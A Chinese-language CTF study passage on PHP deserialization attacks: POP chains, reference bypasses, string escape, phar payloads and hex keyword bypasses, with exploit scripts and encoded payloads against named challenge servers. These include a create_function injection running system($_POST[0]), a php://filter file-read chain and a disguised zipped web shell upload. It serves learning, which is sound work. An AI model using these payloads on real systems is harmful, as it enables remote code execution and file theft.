反序列化
什么是序列化
将各种类型的数据压缩按照一定格式存储的过程 使用函数serialize()
举例:
//源代码
<?php
class DEMO1{
public $func = 'evil';
public $arg = 'phpinfo()';
...一些方法 不过序列化不在意这些
}
//序列化结果
O:5:"DEMO1":2:{s:4:"func";s:4:"evil";s:3:"arg";s:9:"phpinfo()";}
这里的O表示这是一个对象
对象名占5个字符
对象名是DEMO1
对象有2个属性
注意属性的长度存在不可见字符0 用来区分属性 是public 还是private 或者protected
什么是反序列化
php反序列化漏洞又称对象注入 , 可能会导致远程代码执行(RCE)
理解为漏洞执行unserialize函数 调用某一类并执行魔术方法 之后执行类中的函数 产生安全问题
漏洞前提
- unserialize()函数的变量可控
- php文件中存在可利用的类,类中有魔术方法
利用流程
步骤:
- 把题目代码复制到本地
- 注释掉方法和一些没有用的东西
- 本地对属性赋值,构造序列化,url编码后输出,避免把不可见字符的影响
操作过程举例:
对源代码进行注释后赋值
<?php
class DEMO1{
//赋值
public $func = 'evil';
public $arg = 'phpinfo()';
// public function safe(){
// echo $this->arg;
// }
// public function evil() {
// eval($this->arg);
// }
// public function run(){
// $this->{$this->func}();
// }
}
// $obj = unserialize($_GET['a']);
// $obj->run();
然后再在最后输出结果
echo(serialize(new DEMO1())); //单纯序列化
echo("\n");
echo (urlencode(serialize(new DEMO1()))); //进行url编码
三种赋值
内部直接赋值 只能赋值字符串
class DEMO1{
public $func = 'evil';
public $arg = 'phpinfo();';
}
echo(serialize(new DEMO1()));
外部赋值 只能访问public属性的变量
class DEMO1{
public $func = 'evil';
public $arg = 'phpinfo()';
}
//新建一个然后直接输出这个$o
$o = new DEMO1();
$o -> func = 'evil';
$o -> arg = 'phpinfo();'
echo(serialize($o));
小技巧: 对于php7.1+版本,对属性容错机制较高,就算不是public也可以在本地修改成public
构造方法赋值 (万能方法)解决上述所有麻烦
class DEMO1{
public $func;
public $arg;
function __construct(){
$this -> func = 'evil';
$this -> arg = phpinfo();
}
}
echo(serialize(new DEMO1()));
POP chain
魔术方法:
__construct() //对象创建(new)时会自动调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据 包括private或者是不存在的
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发 就是加了括号
__autoload() //在代码中当调用不存在的类时会自动调用该方法。
题目练习
例题1:
http://122.114.252.87:1110/index2.php
解法1: 非预期解,手工调用
第一步首先把网页上源代码复制下来 删除没用的 注释方法
<?php
class Read
{
// public function get_file($value)
// {
// $text = base64_encode(file_get_contents($value));
// return $text;
// }
}
class Show
{
public $source;
public $var;
public $class1;
// public function __construct($name='index.php')
// {
// $this->source = $name;
// echo $this->source.' Welcome'."<br>";
// }
//关键点 会读取文件内容 我们的目标就是读取flag.php里面的内容
public function __toString()
{
$content = $this->class1->get_file($this->var);
// 因为get_file方法在Read中所有class1一定是Read的一个实例化对象
echo $content;
return $content;
}
// public function _show()
// {
// if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
// die('hacker');
// } else {
// highlight_file($this->source);
// }
// }
// public function Change()
// {
// if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
// echo "hacker";
// }
// }
// public function __get($key){
// $function=$this->$key;
// $this->{$key}();
// }
}
// if(isset($_GET['sid']))
// {
// $sid=$_GET['sid'];
// $config=unserialize($_GET['config']);
// $config->$sid;
// }
// else
// {
// $show = new Show('index2.php');
// $show->_show();
// }
$s = new Show();
$s -> var = 'flag.php';
$r = new Read();
$s -> class1 = $r;
echo(urlencode(serialize($s)));
非预期可以直接通过参数sid手动调用__toString方法而不是使用魔术方法 注意调用时不要加括号
输入
http://122.114.252.87:1110/index2.php?config=O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7D&sid=__toString
得到base64编码的字符串
PD9waHAKJGZsYWcgPSAiZmxhZ3syNTZkN2ZkNi1kYjUxLTQ0YjktOGIyZC04OGUxN2IwODg2ZTl9IjsKPz4=
进行解密
成功得到flag!
解法2:利用魔术方法调用__toString方法
__toString() //把类当作字符串使用时触发
在正则表达式中把类当做了字符串
<?php
class Read
{
// public function get_file($value)
// {
// $text = base64_encode(file_get_contents($value));
// return $text;
// }
}
class Show
{
public $source;
public $var;
public $class1;
// public function __construct($name='index.php')
// {
// $this->source = $name;
// echo $this->source.' Welcome'."<br>";
// }
//关键点 会读取文件内容 我们的目标就是读取flag.php里面的内容
public function __toString()
{
$content = $this->class1->get_file($this->var);
// 因为get_file方法在Read中所有class1一定是Read的一个实例化对象
echo $content;
return $content;
}
// public function _show()
// {
// if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
// die('hacker');
// } else {
// highlight_file($this->source);
// }
// }
// public function Change()
// {
// if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
// echo "hacker";
// }
// }
// public function __get($key){
// $function=$this->$key;
// $this->{$key}();
// }
}
// if(isset($_GET['sid']))
// {
// $sid=$_GET['sid'];
// $config=unserialize($_GET['config']);
// $config->$sid;
// }
// else
// {
// $show = new Show('index2.php');
// $show->_show();
// }
//倒着写的 这个是终点
$r = new Read();
$s = new Show();
$s -> var = 'flag.php';
$s -> class1 = $r;
$s2 = new Show();
$s2 -> source = $s;
echo(urlencode(serialize($s2))); //最后是对起点进行序列化
一定要注意好s和s2的区别,首先肯定是对s2进行序列化 然后sid中执行字符串匹配的方法,
当通过s2去调用source的时候,因为source里面是类的对象,这个时候该对象也会执行,相当于去把s这个类对象,当做字符串去匹配正则表达式的时候,触发了s的toString方法,与s2没有关系,s2只是一个存放s的入口。
此外当sid为_show的时候会出现两次加密字符串是因为触发了:
else {
highlight_file($this->source);
}
因为$this -> source的结果就是编码字符串
然后还有一进入正则表达式的方法时就调用了一次
所以一共显示了两次
解密后成功得到flag!
例题2:
http://122.114.252.87:1110/index3.php
题目:
index3.php You are in my range!
<?php
error_reporting(0);
class Vox{
protected $headset;
public $sound;
//考虑fun函数作为最终的利用点
public function fun($pulse){
//include!!!!危险函数 文件包含 通过文件流 伪协议 base64 读取flag.php文件
include($pulse);
}
//调用invoke魔术方法 对象作为函数时触发 找用小括号的地方
public function __invoke(){
//这里可以调用fun函数
$this->fun($this->headset);
}
}
class Saw{
public $fearless;
public $gun;
public function __construct($file='index.php'){
$this->fearless = $file;
echo $this->fearless . ' You are in my range!'."<br>";
}
//对象视为字符串触发 定位到正则匹配
public function __toString(){
//把gun设置为Petal的对象访问fearless 属于不存在属性
//需要注意的是gun设定为一个数组了 其中有一个键值为‘gun’ 所以给该键值进行相应赋值value gun = array("gun" => $b)
$this->gun['gun']->fearless;
return "Saw";
}
//只是一个普通的方法 因为只有一个下划线 发现根本调用不了直接排除就好了
public function _pain(){
if($this->fearless){
highlight_file($this->fearless);
}
}
//wakeup使用unserialize的时候自动触发
public function __wakeup(){
//正则匹配 把对象视为字符串 触发其toString方法
if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
echo "Does it hurt? That's right";
$this->fearless = "index3.php";
}
}
}
class Petal{
public $seed;
public function __construct(){
$this->seed = array();
}
//寻找不可访问的属性 寻找箭头
public function __get($sun){
$Nourishment = $this->seed;
//函数的调用后面有括号 可以把类的对象作为函数调用 触发invoke
return $Nourishment();
}
}
if(isset($_GET['ozo'])){
unserialize($_GET['ozo']); //只有反序列化一定是自动触发的过程
}
else{
$Saw = new Saw('index3.php');
$Saw->_pain();
}
?>
解题:
起始位置:先考虑魔术方法,destruct或者wakeup 现在题目中只能去利用wakeup作为起始。
结束位置:利用危险的函数,比如include,highlight_file去进行文件内容的读取
知识点补充:
-
遇到正则匹配不要慌,那正是toString方法自动调用的入口
-
如果需要触发的魔术方法在一个方法中,那么就new两个对象交互使用
-
include文件包含读取php文件内容常用模板 文件流伪协议base64 即:
php://filter/convert.base64-encode/resource=flag.php
- private的赋值直接在内部,在外面可能赋值不成功
构建exp的顺序是从结尾往起始写的,逆向思维,就是我达成这个目的需要什么事情作为前提就是思考的过程,所以最终serialize的是exp的最后值
解题过程:
- 首先需要找到最后的危险函数,看到了在Vox里面的include。
- 然后想要使用include就要调用fun这个函数
- 想要调用fun就要触发__invoke这个魔术方法
__invoke() //当脚本尝试将对象调用为函数时触发
- 作为函数就是添加了一个小括号去触发,发现在Petal类中__get方法具备这个调用函数的功能,所以需要去触发__get这个方法
__get() //用于从不可访问的属性读取数据 包括属性不可访问和不存在
- 因为与访问相关,所以全局搜索->去找哪里会访问,可以发现在Saw类中的__toString中有一个利用数组特性去访问fearless的过程,这个fearless属于上面的get方法中不存在的属性,为不可访问属性,会触发__get,所以需要去触发__toString这个魔术方法
__toString() //把类当作字符串使用时触发
- 这就需要去利用正则表达式,视为字符串的特性去触发这个toString方法,而正则表达式在wakeup魔术方法里面
__wakeup() //使用unserialize时触发
- 所以直接在反序列化的时候就会触发这个wakeup魔术方法,到此整个pop链的逻辑全部理清
exp:
$v = new Vox;
//headset的赋值在内部直接赋值为php://filter/convert.base64-encode/resource=flag.php
$p = new Petal;
$p -> seed = $v; //把$v这个对象作为函数 触发这个对象的invoke方法
$s = new Saw;
$s -> gun = array("gun" => $p); //让$p这个对象去访问fearless 不存在触发这个对象中的get方法
$s2 = new Saw;
$s2 -> fearless = $s; //把$s这个对象作为字符串 触发这个对象中的toString方法
echo urlencode(serialize($s2)); //输出最终结果
自己写的exp:
index3.php You are in my range!
<?php
error_reporting(0);
class Vox{
protected $headset = 'php://filter/convert.base64-encode/resource=flag.php';
public $sound;
//考虑fun函数作为最终的利用点
public function fun($pulse){
include($pulse);
}
//调用invoke魔术方法 对象作为函数时触发 找用小括号的地方
public function __invoke(){
//这里可以调用fun函数
$this->fun($this->headset);
}
}
class Saw{
public $fearless;
public $gun;
public function __construct($file='index.php'){
$this->fearless = $file;
echo $this->fearless . ' You are in my range!'."<br>";
}
//对象视为字符串触发 定位到正则匹配
public function __toString(){
//把gun设置为Petal的对象访问fearless 属于不存在属性
$this->gun['gun']->fearless;
return "Saw";
}
//只是一个普通的方法 因为只有一个下划线 发现根本调用不了直接排除就好了
public function _pain(){
if($this->fearless){
highlight_file($this->fearless);
}
}
//wakeup使用unserialize的时候自动触发
public function __wakeup(){
//正则匹配 把对象视为字符串 触发其toString方法
if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
echo "Does it hurt? That's right";
$this->fearless = "index3.php";
}
}
}
class Petal{
public $seed;
public function __construct(){
$this->seed = array();
}
//寻找不可访问的属性 寻找箭头
public function __get($sun){
$Nourishment = $this->seed;
//函数的调用后面有括号 可以把类的对象作为函数调用 触发invoke
return $Nourishment();
}
}
// if(isset($_GET['ozo'])){
// unserialize($_GET['ozo']); //只有反序列化一定是自动触发的过程
// }
// else{
// $Saw = new Saw('index3.php');
// $Saw->_pain();
// }
$a = new Saw();
$a2 = new Saw();
$a -> fearless = $a2;
$b = new Petal;
$a2 -> gun = array("gun" => $b);
$c = new Vox;
$b -> seed = $c;
echo urlencode(serialize($a));
?>
输入后成功得到一段base64密文
解密成功得到flag!
例题3:
http://122.114.252.87:1110/gwb.php
数组特性
<?php
class A{
public function f(){
echo "i am f() from class A";
}
}
$arr = [new A, 'f'];
$arr();
运行结果:i am f() from class A
表明当一个数组被当做函数触发时,数组第一个元素是对象,第二个元素是方法的名字(字符串),那么就会调用该对象下的该方法。即可以调用任意对象的任意方法
题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
//起始位置
public function __destruct()
{
//后面有括号 函数调用 考虑使用数组的特性
unserialize($this->key)();
$this->mod2 = "welcome ".$this->mod1;
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
//利用这段代码进行creat_function方法的调用
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET[0]);
?>
exp:
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __destruct()
{
// unserialize($this->key)();
// $this->mod2 = "welcome ".$this->mod1;
}
}
class GetFlag
{
public $code = 'return(0);}echo(123);system($_POST[0]);//';
public $action = "create_function";
public function get_flag(){
// $a=$this->action;
// $a('', $this->code);
//相当于创建了一个名为a的函数 无参 函数内容如下
function a(){
return(0);}echo(123);system($_POST[0]);//}
//提前把函数a进行闭合 然后后面多余的括号注释掉
}
$a = new func();
$arr = [new GetFlag, 'get_flag'];
$a -> key = serialize($arr);
// unserialize($_GET[0]);
echo urlencode(serialize($a));
?>
传上去之后当我们看到echo的123证明成功执行了这个create_function函数 然后通过system危险函数只需要post参数值就可以进行任意命令执行
0=cat \flag.php
成功获取flag 查看一下源代码即可
指针问题:
对于一些系统中生成的随机值进行绕过的方法 用C语言中的取地址符&进行指针引用,在序列化的时候类型为R
例题1:BUU CODE REVIEW 1 BUUOJ
题目:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
传入时存在一个弱类型的比较 用数组即可绕过
在BUU类中存在一个uniqid()函数 以微秒级生成标识 每时每刻都在改变,所以我们没办法确定input的值传入 而是通过指针的方法调用correct的值进行绕过
<?php
class BUU {
public $correct = "";
public $input = "";
// public function __destruct() {
// try {
// $this->correct = base64_encode(uniqid());
// if($this->correct === $this->input) {
// echo file_get_contents("/flag");
// }
// } catch (Exception $e) {
// }
// }
}
$a = new BUU;
$a -> input = &$a -> correct;
echo serialize($a);
生成payload:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
例题2:2020蓝帽杯
题目:
<?php
class Seri{
public $alize;
// public function __construct($alize) {
// $this->alize = $alize;
// }
public function __destruct(){
$this->alize->getFlag();
}
}
class Flag{
public $f;
public $t1;
public $t2;
function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
echo 'niubi';
}
} else {
echo "no";
}
}
}
$p = $_GET['p'];
if (isset($p)) {
$p = unserialize($p);
} else {
show_source(__FILE__);
// echo "NONONO";
}
// $a = new Seri;
// $b = new Flag; 注意使用该语句生成payload的时候要把本地的方法禁用
// $a -> alize = $b;
// $b -> t1 = &$b -> t2;
// $b -> f = 'flag.php';
// echo serialize($a);
但是本道题因为是rand函数 随机生成的范围有限
所以可以随意设置一个范围内的数字 然后通过bp进行爆破
畸形序列化字符串
应用领域
- 绕过__wakeup()
- fast destruct快速析构
wakeup绕过
在老版本的php中对序列化的结果的对象属性值+n
fast destruct
类需要利用析构方法进行某种操作(帮助你去拿flag),但是在析构之前会调用一些方法进行过滤或干扰,常见的出题形式:
<?php
$obj = unserialize($_GET['exp']);
$obj -> safe_filter(); //调用一个进行安全检查的方法
快速析构的原理:
当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功;
但是由于给的是一个畸形的反序列化字符串,是不标准的,php对这个畸形序列化字符串得到的对象不放心,会赶紧把该对象清除掉,就会触发其析构方法。
这样就会提前触发析构方法,不需要等到所用语句都执行结束,也就可以避免一些安全检查方法的调用。
0708反序列化字符逃逸
开篇例题:
题目:
http://122.114.252.87:2030/
<?php
show_source("index.php");
//函数作用:把0*0 替换为\0\0\0 因为后面这个内容是在单引号里面包裹 所以斜杠就是斜杠 但是如果在双引号里面包裹就会变成转义字符
function write($data) {
//关键所在这里的替换字符数不等长 3到6字符的替换
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
//6到3字符的替换
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'world';
function __destruct(){
$c = 'hello'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//关于read和write函数 如果可以保证外层替换的字符串存在 内层的不存在 就可以只触发外层函数
$b = unserialize(read(write(serialize($a))));
对于双引号和单引号的测试如下
php -a //直接在cmd中输入 会启动php
php > echo '\n';
\n //单引号是什么就输出什么
php > echo "\n";
//转义后只有换行
php >
类比sql注入中的逃逸
select * from users where u='' and p=''
//进行逃逸
select * from users where u='\' and p=' or 1=1' //单引号会被转义掉
=> select * from users where u=' and p=' or 1=1'
本质:
对序列化字符串进行不等长的字符串替换,导致本来属于普通字符串的一部分字符串变成了序列化的一部分,或者导致本来不属于字符串的一部分变成了字符串的一部分,进而造成了序列化数据的错乱,导致了对象注入。
解题:
获取A的序列化
<?php
class A{
public $username="UN";
public $password="PW";
}
echo serialize(new A)
?>
O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password";s:2:"PW";}
获取BC的序列化
<?php
class B{
public $b = 'world';
// function __destruct(){
// 字符串的拼接触发toString
// $c = 'hello'.$this->b;
// //echo类的对象会触发toString方法
// echo $c;
// }
}
class C{
public $c = "flag.php";
// function __toString(){
// //flag.php
// echo file_get_contents($this->c);
// return 'nice';
// }
}
$b = new B;
$c = new C;
$b -> b = $c;
echo serialize($b)
?>
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
接下来需要把BC读取flag的序列化结果填入到A中
首先对于序列化的属性进行讲解:
a:3:{i:0;s:6:"张三";i:1;s:6:"李四";i:2;i:18;}
简单说明下序列化字符串
a:3 ——> 代表集合中有3个元素,a则是array类型(o则是object,s则是string,i则是integer等等)
i:0;s:6:“张三” ——> i:0则是第一个元素,s:6则是string,字符串长度为6,元素是张三
i:2;i:18 ——> i:2则是第三个元素,i:18则是int,整数不计算长度,元素是18
a – array
b – boolean
d – double
i – integer
o – common object
r – reference
s – string
C – custom object
O – class
N – null
R – pointer reference
U – unicode string
N 表示的是 NULL
所以把我们生成的两个序列化放到一起研究如何利用:
O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password";s:2:"PW";}
object 一个 为A类 中有两个成员
第一个是string型 长度为8 名为username 其值为string型长度为2 值为UN
第二个是string型 长度为8 名为password 其值为string型长度为2 值为PW
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
object 一个 为B类 中有一个成员
第一个为string型 长度为1 名为b
其值为object型 一个 值为C 其中包含一个成员 string型 名为c 其值为string型长度为8 值为flag.php
拼接:BC 填入到 A中 因为函数执行的是A的对象 把PW给删了 分号结尾
O:1:"A":2:{属性s:8:"username";属性的值s:2:"UN";s:8:"password";s:2:" 补一个分号结尾;这些全部吃掉 把password约束吃掉的结果 作为username的值 这里缺少属性 补一个 属性s:8:"password";属性的值(object型)O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}} 这里的两个符号";也多余了 补充保证格式正确s:0:"";s:0""; }
添加到PW的位置后我们发现 一个双引号后面直接来了个O有些突兀
直接放到函数中进行生成
<?php
class A{
public $username="UN";
public $password=';s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"';
}
echo serialize(new A)
?>
即为
O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password";s:82:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}
然后去考虑如何才能吃掉:
替换规则是\0\0\0 替换为0*0 是六到三的替换
也就是每一组替换可以吃掉3个长度的字符
需要吃掉的内容:";s:8:“password”;s:82:
用python测一下长度
>>> len('''";s:8:"password";s:82:''')
22
>>> 22/3
7.333333333333333
不是3的整数倍 所以需要自己添加值凑成3的倍数
把前面的UN也吃掉就好了:UN";s:8:“password”;s:82:
然后继续利用python生成\0\0\0 共8组
>>> '\0\0\0'
'\x00\x00\x00'
>>> '\\0\\0\\0'
'\\0\\0\\0'
>>> '\\0\\0\\0' * 8
'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'
>>>
因为转义 所以双杠后自己替换一下就好了
因为决定某个值的长度不是双引号的闭合 而是前面的数字
所以把我们生成的替换字符放进去就会多读取后面的内容
<?php
class A{
public $username='\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0xx'; //后面补充两个字符 因为24-22=2 去补充
public $password=';s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"';
}
echo serialize(new A)
?>
生成:
O:1:"A":2:{s:8:"username";s:50:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0xx";s:8:"password";s:82:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}
>>> len('''xx";s:8:"password";s:82:''')
24
>>>正好是往后面读取24个
但此时出现的问题时 你自己补充了两个xx确实后面吃的个数是24但是属性值前面的50也是补充后的结果 6*8 = 48->24 那么虽然补充了两个xx 但是意味着需要往后读50-24 = 26个字符长度 故读取失败
所以我们的补位不应该出现在这个属性值里面 而是在外面
O:1:"A":2:{s:8:"username";s:50:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:82:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}
<?php
class A{
public $username='\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0';
public $password='x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"'; //在这里的开头补充x“ 相当于补充了两位
}
echo serialize(new A)
?>
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:84:"x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"";}
此时往后读24
>>> len('''";s:8:"password";s:84:"x''')
24
最终payload为:
http://122.114.252.87:2030/?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0"
url编码一下即可
成功获取flag!:flag{a6c175ea-d851-5cf1-cd6f-3aad733ae896}
思路总结:
做题步骤
- 写出基本序列化
- 写出注入的对象
- 写出注入的对象 分析是长到短还是短到长的替换,决定要把对象注入到什么地方
- 算清楚替换的差值,计算需要吃掉或挤出(逃逸)的字符串长度,保证这个长度是替换的差值的整数倍,如果不是 则加字符串
- 构造替换,对象注入
长到短的替换
在第一个元素进行替换,进而吃掉第二个元素的约束,第二个元素就逃逸出来了
短到长的替换
暂缺
0718 Phar反序列化
Phar是什么?
可以将多个文件组合成一个文件,
访问
phar://xxx.phar/1.png
zip://xxx.zip#1.png
攻击思路 在上传包含中的利用
可以上传图片,不能上传php
可以包含 但是只能include('$userinput.php');
压缩一个shell.php到1.zip,重命名为1.png,上传
包含:zip://upload.png#shell或phar://upload.png/shell 因为在包含的时候在尾部上面的include会拼接上一个php
如何反序列化
条件
- 需要有可用的类,类下有魔术方法,最后POP chain调用到危险方法
- 需要文件操作函数去触发
phar://
stream - 有上传或者写文件的操作,可以把无损phar文件写入web服务器,后缀名任意
本地phar的条件
在php.ini中 phar.readonly = Off
构造phar反序列化
- 把class定义的代码抄下来,把方法注释了
- 构造pop链
echo serialize($o)- 贴phar八股文
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
总结:
还是正常做反序列化的流程,找pop chain,然后本地构造好序列化
之前:echo serialize($o);
现在:生成phar文件把$o加载进去 就是在setMetadata中
可以利用的函数
绕过反序列化中的关键字
hex 通用
s:1:“A” 和 S:1:"\61"是一样的意思
当标识字符串的s为大写的时候,\hex标识对应字符
所以绕过flag的过滤:S:4:“\66\6c\61\67”
绕过\0字符 php7.1+
虽然类中定义的属性可能不是public 但是我们可以假装是public,然后生成public类型的反序列化字符串。由于PHP7.1+的容错机制可以反序列化成功
private->public
例题:[网鼎杯 2020 青龙组]AreUSerialz
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
寻找pop链:
可以发现在read方法中存在file_get_contents函数,是可以利用获取flag的地方,所以需要我们调用read方法 可以发现在process方法中找到,就需要调用process方法并且需要op为2 所以construct方法中的无法使用,需要使用destruct方法,需要绕过他的强类型比较 将op设置为数字型的2 在强类型比较中字符型和数字型的2是不相等的 但在弱类型比较中是相等的 数字2就不加引号就可以了
绕过上传点的限制:
在is_valid函数中对ascii码进行一定检测,有限定范围 但是我们生成的序列化中存在\0字符,需要通过S的hex机制进行绕过检测
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op = 2;
protected $filename = 'flag.php';
protected $content;
// function __construct() {
// $op = "1";
// $filename = "/tmp/tmpfile";
// $content = "Hello World!";
// $this->process();
// }
// public function process() {
// if($this->op == "1") {
// $this->write();
// } else if($this->op == "2") {
// $res = $this->read();
// $this->output($res);
// } else {
// $this->output("Bad Hacker!");
// }
// }
// private function write() {
// if(isset($this->filename) && isset($this->content)) {
// if(strlen((string)$this->content) > 100) {
// $this->output("Too long!");
// die();
// }
// $res = file_put_contents($this->filename, $this->content);
// if($res) $this->output("Successful!");
// else $this->output("Failed!");
// } else {
// $this->output("Failed!");
// }
// }
// private function read() {
// $res = "";
// if(isset($this->filename)) {
// $res = file_get_contents($this->filename);
// }
// return $res;
// }
// private function output($s) {
// echo "[Result]: <br>";
// echo $s;
// }
// function __destruct() {
// if($this->op === "2")
// $this->op = "1";
// $this->content = "";
// $this->process();
// }
}
// echo urlencode(serialize(new FileHandler));
// O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
// 因为上传的时候存在检测ascii码存在一定的范围
$ser = serialize(new FileHandler);
echo $ser;
echo "\n";
function decorate($s){
$arr = explode(':',$s);
for($i = 0; $i < count($arr); $i++){
if(strpos($arr[$i],"\0") != false){
echo $arr[$i]."\n";
echo $arr[$i-2]."\n";
}
}
}
decorate($ser);
// function is_valid($s) {
// for($i = 0; $i < strlen($s); $i++)
// if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
// return false;
// return true;
// }
// if(isset($_GET{'str'})) {
// $str = (string)$_GET['str'];
// if(is_valid($str)) {
// $obj = unserialize($str);
// }
// }
输出:
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
"*op";i
{s
"*filename";s
2;s
"*content";N;}
"flag.php";s
发现确实找到了小s 然后再写一个字符替换
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op = 2;
protected $filename = 'flag.php';
protected $content;
// function __construct() {
// $op = "1";
// $filename = "/tmp/tmpfile";
// $content = "Hello World!";
// $this->process();
// }
// public function process() {
// if($this->op == "1") {
// $this->write();
// } else if($this->op == "2") {
// $res = $this->read();
// $this->output($res);
// } else {
// $this->output("Bad Hacker!");
// }
// }
// private function write() {
// if(isset($this->filename) && isset($this->content)) {
